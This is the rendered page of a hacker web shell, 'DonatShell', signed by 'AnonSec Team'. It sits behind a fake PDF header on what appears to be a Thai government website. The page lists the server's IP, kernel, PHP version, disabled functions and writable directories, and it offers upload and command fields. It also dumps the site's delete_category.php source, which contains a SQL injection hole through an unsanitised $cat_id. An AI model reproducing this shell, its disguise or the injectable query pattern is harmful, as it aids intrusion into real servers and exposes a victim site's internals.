%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/news/delete_category.php
<?php
session_start();
if($_SESSION[user]==""){
session_destroy();
$message = "س Login ͹.";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
 }
require_once('../admin/Connections/conndb.php');
mysql_select_db($database_conndb, $conndb);
$query_rsNews1 = "SELECT * FROM news_category  where cat_id= '$cat_id'";
$rsNews1 = mysql_query($query_rsNews1, $conndb) or die(mysql_error());
$row_rsNews1 = mysql_fetch_assoc($rsNews1);

$query_rsNews = "SELECT * FROM news_detail where cat_id= '$cat_id'";
$rsNews = mysql_query($query_rsNews, $conndb) or die(mysql_error());
//$row_rsNews = mysql_fetch_assoc($rsNews);
$totalRows_rsNews = mysql_num_rows($rsNews);


?>
<?php
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  $theValue = (!get_magic_quotes_gpc()) ? addslashes($theValue) : $theValue;

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}

if ((isset($_GET['cat_id'])) && ($_GET['cat_id'] != "")) {

  $deleteALM = sprintf("DELETE FROM news_category WHERE cat_id=%s",
                       GetSQLValueString($_GET['cat_id'], "int"));
  $ResultALM = mysql_query($deleteALM, $conndb) or die(mysql_error());


 if($totalRows_rsNews!=0){
	// ลบไฟล์เอกสาร
	while($row_rsNews = mysql_fetch_object($rsNews)){
     if($row_rsNews->filename!=""){
		 echo $row_rsNews->filename;
         unlink("doc_download/".$row_rsNews->filename);

	}
	     if($row_rsNews->pic!=""){
			 echo $row_rsNews->pic;
         unlink("photo/".$row_rsNews->pic);

	}
  $deletePIC = sprintf("DELETE FROM news_detail WHERE cat_id=%s",
                       GetSQLValueString($_GET['cat_id'], "int"));	  
  $ResultPIC = mysql_query($deletePIC, $conndb) or die(mysql_error());
	}	
  }

//  $deleteGoTo = "admin.php";
  if (isset($_SERVER['QUERY_STRING'])) {
    $deleteGoTo .= (strpos($deleteGoTo, '?')) ? "&" : "?";
    $deleteGoTo .= $_SERVER['QUERY_STRING'];
  }

 echo "<meta http-equiv='refresh' content='0;URL=add_category.php?'>";
}
	 if($conndb)
	 {
	  mysql_close($conndb);
	  unset($conndb);
	 }
?>

Anon7 - 2022
AnonSec Team